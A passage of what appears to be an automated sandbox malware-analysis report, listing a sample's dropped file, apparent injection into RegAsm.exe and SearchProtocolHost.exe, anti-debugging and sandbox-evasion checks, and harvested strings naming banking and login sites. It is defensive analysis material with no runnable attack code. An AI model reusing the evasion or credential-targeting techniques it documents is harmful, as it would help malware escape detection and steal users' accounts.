Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057984A3 push ecx; ret	5_2_05798484
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0579849E push ecx; ret	5_2_05798484
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0579D71C push edi; iretd	5_2_0579D6D1
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0579D6C2 push edi; iretd	5_2_0579D6D1
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057A4074 push ebx; retf	5_2_057A407F
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0579882D pushfd ; ret	5_2_0579882E
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0578FA5A push edx; ret	5_2_0578FA5D
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_057A5AF2 push edx; iretd	5_2_057A5B07
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036A09AD push ecx; mov dword ptr [esp], ecx	6_2_036A09B6
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E35288 push dword ptr [edx]; ret	6_2_02E3528D
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E4A383 push ds; ret	6_2_02E4A384

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API/Special instruction interceptor: Address: 7FFEFE52D324
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API/Special instruction interceptor: Address: 7FFEFE52D7E4
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API/Special instruction interceptor: Address: 7FFEFE52D944
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API/Special instruction interceptor: Address: 7FFEFE52D504
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API/Special instruction interceptor: Address: 7FFEFE52D544
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API/Special instruction interceptor: Address: 7FFEFE52D1E4
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API/Special instruction interceptor: Address: 7FFEFE530154
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API/Special instruction interceptor: Address: 7FFEFE52DA44

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Memory allocated: 3010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Memory allocated: 3250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Memory allocated: 3060000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_02F5D1C0 rdtsc

3_2_02F5D1C0

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Window / User API: threadDelayed 2128			Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Window / User API: threadDelayed 7845			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	API coverage: 3.1 %

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe TID: 8108	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe TID: 3444	Thread sleep count: 2128 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe TID: 3444	Thread sleep time: -4256000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe TID: 3444	Thread sleep count: 7845 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe TID: 3444	Thread sleep time: -15690000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe TID: 6588	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe TID: 6588	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe TID: 6588	Thread sleep time: -52500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe TID: 6588	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe TID: 6588	Thread sleep time: -36000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe

Code function: 6_2_02E4CB30 FindFirstFileW,FindNextFileW,FindClose,

6_2_02E4CB30

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Thread delayed: delay time: 922337203685477

Source: 74w51-39.6.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: 74w51-39.6.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: 74w51-39.6.dr	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: 74w51-39.6.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: 74w51-39.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: 74w51-39.6.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: 74w51-39.6.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: 74w51-39.6.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: 74w51-39.6.dr	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: 74w51-39.6.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: 74w51-39.6.dr	Binary or memory string: global block list test formVMware20,11696503903
Source: zfEzkYXCOLr.exe, 00000007.00000002.3771872673.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
Source: 74w51-39.6.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: 74w51-39.6.dr	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: 74w51-39.6.dr	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: 74w51-39.6.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: 74w51-39.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: 74w51-39.6.dr	Binary or memory string: AMC password management pageVMware20,11696503903
Source: 74w51-39.6.dr	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: SearchProtocolHost.exe, 00000006.00000002.3768386614.00000000030A9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000009.00000002.1872901592.000001D99257C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 74w51-39.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: 74w51-39.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: 74w51-39.6.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: 74w51-39.6.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: 74w51-39.6.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: 74w51-39.6.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: 74w51-39.6.dr	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: 74w51-39.6.dr	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: 74w51-39.6.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: 74w51-39.6.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: 74w51-39.6.dr	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: 74w51-39.6.dr	Binary or memory string: discord.comVMware20,11696503903f
Source: 74w51-39.6.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_02F5D1C0 rdtsc

3_2_02F5D1C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00417F53 LdrLoadDll,

3_2_00417F53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9F2F8 mov eax, dword ptr fs:[00000030h]	3_2_02F9F2F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF02E1 mov eax, dword ptr fs:[00000030h]	3_2_02EF02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF02E1 mov eax, dword ptr fs:[00000030h]	3_2_02EF02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF02E1 mov eax, dword ptr fs:[00000030h]	3_2_02EF02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED92FF mov eax, dword ptr fs:[00000030h]	3_2_02ED92FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F912ED mov eax, dword ptr fs:[00000030h]	3_2_02F912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB52E2 mov eax, dword ptr fs:[00000030h]	3_2_02FB52E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0F2D0 mov eax, dword ptr fs:[00000030h]	3_2_02F0F2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0F2D0 mov eax, dword ptr fs:[00000030h]	3_2_02F0F2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE92C5 mov eax, dword ptr fs:[00000030h]	3_2_02EE92C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE92C5 mov eax, dword ptr fs:[00000030h]	3_2_02EE92C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA2C3 mov eax, dword ptr fs:[00000030h]	3_2_02EEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA2C3 mov eax, dword ptr fs:[00000030h]	3_2_02EEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA2C3 mov eax, dword ptr fs:[00000030h]	3_2_02EEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA2C3 mov eax, dword ptr fs:[00000030h]	3_2_02EEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEA2C3 mov eax, dword ptr fs:[00000030h]	3_2_02EEA2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B2C0 mov eax, dword ptr fs:[00000030h]	3_2_02F0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B2C0 mov eax, dword ptr fs:[00000030h]	3_2_02F0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B2C0 mov eax, dword ptr fs:[00000030h]	3_2_02F0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B2C0 mov eax, dword ptr fs:[00000030h]	3_2_02F0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B2C0 mov eax, dword ptr fs:[00000030h]	3_2_02F0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B2C0 mov eax, dword ptr fs:[00000030h]	3_2_02F0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0B2C0 mov eax, dword ptr fs:[00000030h]	3_2_02F0B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB2D3 mov eax, dword ptr fs:[00000030h]	3_2_02EDB2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB2D3 mov eax, dword ptr fs:[00000030h]	3_2_02EDB2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB2D3 mov eax, dword ptr fs:[00000030h]	3_2_02EDB2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F692BC mov eax, dword ptr fs:[00000030h]	3_2_02F692BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F692BC mov eax, dword ptr fs:[00000030h]	3_2_02F692BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F692BC mov ecx, dword ptr fs:[00000030h]	3_2_02F692BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F692BC mov ecx, dword ptr fs:[00000030h]	3_2_02F692BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF02A0 mov eax, dword ptr fs:[00000030h]	3_2_02EF02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF02A0 mov eax, dword ptr fs:[00000030h]	3_2_02EF02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF52A0 mov eax, dword ptr fs:[00000030h]	3_2_02EF52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF52A0 mov eax, dword ptr fs:[00000030h]	3_2_02EF52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF52A0 mov eax, dword ptr fs:[00000030h]	3_2_02EF52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF52A0 mov eax, dword ptr fs:[00000030h]	3_2_02EF52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F762A0 mov eax, dword ptr fs:[00000030h]	3_2_02F762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F762A0 mov ecx, dword ptr fs:[00000030h]	3_2_02F762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F762A0 mov eax, dword ptr fs:[00000030h]	3_2_02F762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F762A0 mov eax, dword ptr fs:[00000030h]	3_2_02F762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F762A0 mov eax, dword ptr fs:[00000030h]	3_2_02F762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F762A0 mov eax, dword ptr fs:[00000030h]	3_2_02F762A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F772A0 mov eax, dword ptr fs:[00000030h]	3_2_02F772A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F772A0 mov eax, dword ptr fs:[00000030h]	3_2_02F772A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA92A6 mov eax, dword ptr fs:[00000030h]	3_2_02FA92A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA92A6 mov eax, dword ptr fs:[00000030h]	3_2_02FA92A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA92A6 mov eax, dword ptr fs:[00000030h]	3_2_02FA92A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA92A6 mov eax, dword ptr fs:[00000030h]	3_2_02FA92A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1329E mov eax, dword ptr fs:[00000030h]	3_2_02F1329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1329E mov eax, dword ptr fs:[00000030h]	3_2_02F1329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F60283 mov eax, dword ptr fs:[00000030h]	3_2_02F60283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F60283 mov eax, dword ptr fs:[00000030h]	3_2_02F60283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F60283 mov eax, dword ptr fs:[00000030h]	3_2_02F60283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1E284 mov eax, dword ptr fs:[00000030h]	3_2_02F1E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1E284 mov eax, dword ptr fs:[00000030h]	3_2_02F1E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB5283 mov eax, dword ptr fs:[00000030h]	3_2_02FB5283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F21270 mov eax, dword ptr fs:[00000030h]	3_2_02F21270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F21270 mov eax, dword ptr fs:[00000030h]	3_2_02F21270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F09274 mov eax, dword ptr fs:[00000030h]	3_2_02F09274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED826B mov eax, dword ptr fs:[00000030h]	3_2_02ED826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F90274 mov eax, dword ptr fs:[00000030h]	3_2_02F90274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE4260 mov eax, dword ptr fs:[00000030h]	3_2_02EE4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE4260 mov eax, dword ptr fs:[00000030h]	3_2_02EE4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE4260 mov eax, dword ptr fs:[00000030h]	3_2_02EE4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAD26B mov eax, dword ptr fs:[00000030h]	3_2_02FAD26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FAD26B mov eax, dword ptr fs:[00000030h]	3_2_02FAD26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED9240 mov eax, dword ptr fs:[00000030h]	3_2_02ED9240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED9240 mov eax, dword ptr fs:[00000030h]	3_2_02ED9240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9B256 mov eax, dword ptr fs:[00000030h]	3_2_02F9B256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9B256 mov eax, dword ptr fs:[00000030h]	3_2_02F9B256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F68243 mov eax, dword ptr fs:[00000030h]	3_2_02F68243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F68243 mov ecx, dword ptr fs:[00000030h]	3_2_02F68243
